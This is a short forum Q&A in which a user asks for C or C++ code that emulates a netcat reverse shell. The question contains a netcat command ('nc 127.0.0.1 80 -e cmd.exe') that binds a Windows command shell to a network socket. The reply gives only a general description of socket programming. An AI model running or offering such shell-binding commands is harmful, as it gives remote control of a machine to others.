tags:

views:

348

answers:

1

I'm trying to find a basic reverse shell example in C or C++,

Basically I want to write a code to simulate the following netcat scenario:

Listener:
------------------
C:\nc -L -p 80

Client
--------------
C:\nc 127.0.0.1 80 -e cmd.exe

For whom doesn't speak netcat:

This means I want to redirect stdin and stdout from cmd.exe to network's stream in and out. So a user from a remote box can run cmd.exe from the remote computer.

I'm looking for C / C++ example code to do this?

+1  A: 

netcat is basically something that either accepts (when acting as server) or opens (when acting as client) a socket. Anything typed into stdin is written to the socket. Anything read from the socket is written to stdout. Any errors are written to stderr.

That's the basics. It looks like you are using it on Windows and attaching the standard IO to a command shell. I'm not sure why/what this does for you, so I'm going to ignore that for now.

Anyway, what you need to do is write an app that accepts/opens a socket, write to ... etc... (see paragraph 1).

There is a lot of stuff online that explains how to do this. The ultimate answer to your question depends on why you want to do this (i.e. why not just use netcat), whether you want a nice POSIX compliant app that would build on any platform or something that is Windows only (and maybe uses Windows UI components), and other considerations.

I recommend you start by searching Google for something like socket programming in c, socket programming in c++, or Windows socket programming.

Mike